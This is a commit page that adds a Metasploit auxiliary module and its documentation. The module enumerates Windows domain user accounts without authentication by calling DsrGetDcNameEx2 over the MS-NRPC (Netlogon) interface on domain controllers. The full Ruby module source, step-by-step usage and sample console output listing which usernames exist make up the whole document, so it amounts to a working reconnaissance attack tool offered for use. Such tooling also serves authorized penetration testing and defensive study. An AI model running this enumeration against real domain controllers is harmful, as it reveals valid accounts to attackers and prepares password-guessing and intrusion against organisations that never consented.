Skip to content

Commit 5c7b375

Browse files
committed
Change the module adn the documentation path
1 parent 88d3257 commit 5c7b375

File tree

2 files changed

+194
-0
lines changed

2 files changed

+194
-0
lines changed
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
## Vulnerable Application
2+
3+
A new method for gathering domain users. The method leverages auth-level = 1 (No authentication) against the
4+
MS-NRPC (Netlogon) interface on domain controllers. All that's required is the domain controller's IP address,
5+
and the entire process can be completed without providing any credentials.
6+
7+
## Verification Steps
8+
9+
1. Do: `use auxiliary/gather/nrpc_enumusers`
10+
2. Do: `set RHOSTS <targer IP addresses>`
11+
3. Do: `set USER_FILE <path to your users list>`
12+
4. Do: `run`
13+
14+
15+
## Target
16+
17+
To use nrpc_enumusers, make sure you are able to connect to the Domain Controller.
18+
It has been tested with Windows servers 2012, 2016, 2019 and 2022
19+
20+
## Options
21+
22+
### USER_FILE
23+
24+
**Description:** Path to the file containing the list of usernames to enumerate. Each username should be on a separate line.
25+
26+
**Usage:** Provide the path to the file that contains the list of user accounts you want to test.
27+
28+
**Example:** `set USER_FILE /path/to/usernames.txt`
29+
30+
2- `RHOSTS` (required)
31+
32+
**Description:** The target IP address or range of IP addresses of the Domain Controllers.
33+
34+
**Usage:** Specify the IP address or addresses of the Domain Controllers you are targeting.
35+
36+
**Example:** `set RHOSTS 192.168.1.100`
37+
38+
3- `RPORT` (optional)
39+
40+
**Description:** The port for the MS-NRPC interface. If not specified, the module will attempt to determine the endpoint.
41+
42+
**Usage:** If you know the port used by the MS-NRPC interface, you can specify it. Otherwise, the module will find it automatically.
43+
44+
**Example:** `set RPORT 49664`
45+
46+
## Scenarios
47+
48+
The following demonstrates basic usage, using a custom wordlist,
49+
targeting a single Domain Controller to identify valid domain user accounts.
50+
51+
Create a new `./users.txt` file, then run the module:
52+
53+
```
54+
msf6 auxiliary(gather/nrpc_enumusers) > set RHOSTS 192.168.177.177
55+
RHOSTS => 192.168.177.177
56+
msf6 auxiliary(gather/nrpc_enumusers) > set USER_FILE users.txt
57+
USER_FILE => users.txt
58+
msf6 auxiliary(gather/nrpc_enumusers) > run
59+
60+
[*] 192.168.177.177: - Connecting to the endpoint mapper service...
61+
[*] 192.168.177.177: - Binding to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:192.168.177.177[49664]...
62+
[-] 192.168.177.177: - Tiffany.Molina does not exist
63+
[-] 192.168.177.177: - SMITH does not exist
64+
[-] 192.168.177.177: - JOHNSON does not exist
65+
[-] 192.168.177.177: - WILLIAMS does not exist
66+
[-] 192.168.177.177: - Administratorsvc_ldap does not exist
67+
[-] 192.168.177.177: - svc_ldap does not exist
68+
[-] 192.168.177.177: - ksimpson does not exist
69+
[+] 192.168.177.177: - Administrator exists
70+
[-] 192.168.177.177: - James does not exist
71+
[-] 192.168.177.177: - nikk37 does not exist
72+
[-] 192.168.177.177: - svc-printer does not exist
73+
[-] 192.168.177.177: - SABatchJobs does not exist
74+
[-] 192.168.177.177: - e.black does not exist
75+
[-] 192.168.177.177: - Kaorz does not exist
76+
[*] 192.168.177.177: - Scanned 1 of 1 hosts (100% complete)
77+
[*] Auxiliary module execution completed
78+
msf6 auxiliary(gather/nrpc_enumusers) >
79+
```
Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Auxiliary::Scanner
8+
include Msf::Exploit::Remote::DCERPC
9+
Netlogon = RubySMB::Dcerpc::Netlogon
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'MS-NRPC Domain Users Enumeration',
16+
'Description' => %q{
17+
This module will enumerate valid Domain Users via no authentication against MS-NRPC interface.
18+
It calls DsrGetDcNameEx2 to check if the domain user account exists or not. It has been tested with
19+
Windows servers 2012, 2016, 2019 and 2022.
20+
},
21+
'Author' => [
22+
'Haidar Kabibo <https://x.com/haider_kabibo>'
23+
],
24+
'References' => [
25+
['URL', 'https://github.com/klsecservices/Publications/blob/master/A_journey_into_forgotten_Null_Session_and_MS-RPC_interfaces.pdf']
26+
],
27+
'License' => MSF_LICENSE,
28+
'Notes' => {
29+
'Stability' => [CRASH_SAFE],
30+
'Reliability' => [],
31+
'SideEffects' => []
32+
}
33+
)
34+
)
35+
register_options(
36+
[
37+
OptPort.new('RPORT', [false, 'The netlogon RPC port']),
38+
OptPath.new('USER_FILE', [true, 'Path to the file containing the list of usernames to enumerate'])
39+
]
40+
)
41+
end
42+
43+
class DsrGetDCNameEx2Request < BinData::Record
44+
attr_reader :opnum
45+
46+
endian :little
47+
48+
uint32 :computer_name, initial_value: 0x00000000
49+
logonsrv_handle :account_name
50+
ndr_uint32 :allowable_account_control_bits, initial_value: 0x200
51+
uint32 :domain_name, initial_value: 0x00000000
52+
uint32 :guid, initial_value: 0x00000000
53+
uint32 :site_name, initial_value: 0x00000000
54+
uint32 :flags, initial_value: 0x00000000
55+
56+
def initialize_instance
57+
super
58+
@opnum = 34
59+
end
60+
end
61+
62+
def bind_to_netlogon_service
63+
@dport = datastore['RPORT']
64+
if @dport.nil? || @dport == 0
65+
@dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], Netlogon::UUID, '1.0', 'ncacn_ip_tcp')
66+
fail_with(Failure::NotFound, 'Could not determine the RPC port used by the Microsoft Netlogon Server') unless @dport
67+
end
68+
handle = dcerpc_handle(Netlogon::UUID, '1.0', 'ncacn_ip_tcp', [@dport])
69+
print_status("Binding to #{handle}...")
70+
dcerpc_bind(handle)
71+
end
72+
73+
def dsr_get_dc_name_ex2(username)
74+
request = DsrGetDCNameEx2Request.new(account_name: username)
75+
76+
begin
77+
raw_response = dcerpc.call(request.opnum, request.to_binary_s)
78+
rescue Rex::Proto::DCERPC::Exceptions::Fault
79+
fail_with(Failure::UnexpectedReply, "The Netlogon RPC request failed for username: #{username}")
80+
end
81+
raw_response
82+
end
83+
84+
def run_host(_ip)
85+
usernames = load_usernames(datastore['USER_FILE'])
86+
bind_to_netlogon_service
87+
88+
usernames.each do |username|
89+
enumerate_user(username)
90+
end
91+
end
92+
93+
private
94+
95+
def load_usernames(file_path)
96+
unless ::File.exist?(file_path)
97+
fail_with(Failure::BadConfig, 'The specified USER_FILE does not exist')
98+
end
99+
100+
usernames = []
101+
::File.foreach(file_path) do |line|
102+
usernames << line.strip
103+
end
104+
usernames
105+
end
106+
107+
def enumerate_user(username)
108+
response = dsr_get_dc_name_ex2(username)
109+
if response[-4, 4] == "\x00\x00\x00\x00"
110+
print_good("#{username} exists")
111+
else
112+
print_error("#{username} does not exist")
113+
end
114+
end
115+
end

0 commit comments

Comments
 (0)